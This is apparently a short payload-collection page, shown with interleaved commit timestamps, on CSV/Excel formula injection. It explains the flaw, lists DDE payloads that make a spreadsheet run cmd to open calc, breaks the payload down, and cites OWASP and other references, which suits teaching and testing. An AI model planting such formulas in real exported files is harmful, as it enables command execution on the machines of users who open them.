2016-10-20 03:50:12 +00:00
# CSV Excel formula injection
2018-08-12 21:30:22 +00:00
2018-08-13 10:01:13 +00:00
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
2016-10-18 08:01:56 +00:00
2016-10-20 03:50:12 +00:00
## Exploit
2016-10-18 08:01:56 +00:00
2018-08-13 10:01:13 +00:00
Basic exploit with Dynamic Data Exchange
2018-08-12 21:30:22 +00:00
```powershell
2016-10-20 03:50:12 +00:00
DDE ("cmd";"/C calc";"!A0")A0
@SUM (1+1)*cmd|' /C calc'!A0
2018-08-12 21:30:22 +00:00
```
2016-10-20 03:50:12 +00:00
Technical Details of the above payload:
cmd is the name the server can respond to whenever a client is trying to access the server
/C calc is the file name which in our case is the calc(i.e the calc.exe)
!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
Any formula can be started with
2018-08-12 21:30:22 +00:00
```powershell
2016-10-20 03:50:12 +00:00
=
+
–
@
2016-10-18 08:01:56 +00:00
```
## Thanks to
2018-08-12 21:30:22 +00:00
* [OWASP - CSV Excel Macro Injection ](https://owasp.org/index.php/CSV_Excel_Macro_Injection )
* [Google Bug Hunter University - CSV Excel formula injection ](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection )
* [Comma Separated Vulnerabilities - James Kettle ](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/ )